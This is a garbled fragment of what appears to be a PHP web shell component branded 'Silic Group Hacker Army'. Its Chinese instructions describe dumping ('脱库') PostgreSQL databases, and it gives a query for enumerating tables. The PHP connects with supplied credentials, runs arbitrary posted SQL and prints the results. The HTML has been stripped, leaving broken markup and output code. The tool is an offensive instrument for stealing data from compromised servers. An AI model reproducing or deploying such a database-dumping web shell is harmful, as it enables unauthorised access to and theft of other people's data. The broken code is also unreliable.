服务器和端口为选填,数据库无法连接时可尝试不填写
本脚本默认配备的SQL语句适用于PostgreSQL 8.1
脱库请填写正确的数据库名
列表段可用select relname from pg_stat_user_tables limit 1 offset n;

服务器: 用户: 密码: 数据库名:


端口:   Silic Group Hacker Army©2009-2012
END; if(!empty($pghost) && !empty($pgport)){ $conn="host=".$pghost." port=".$pgport." dbname=".$pgdb." user=".$pguser." password=".$pgpass; }else{ $conn="dbname=".$pgdb." user=".$pguser." password=".$pgpass; } if(!empty($_POST['sql'])){ $pgconn = pg_connect($conn) or die('悲剧,连不上。错误信息:'.pg_last_error()); $pgresult=pg_query($pgquery) or die('SQL执行发生错误:
'.pg_last_error()); $pgrow=pg_fetch_row($pgresult); echo ''."\n\n"; for ($i=0; $i< pg_num_fields($pgresult); $i++) {echo '\n";} echo "\n"; pg_result_seek($pgresult, 0); while ($pgrow=pg_fetch_row($pgresult)) { echo "\n"; for ($i=0; $i'."$pgrow[$i]".'';} echo "\n"; } echo "
'.pg_field_name($pgresult, $i)."
\n"."
"; pg_free_result($pgresult); pg_close(); } ?>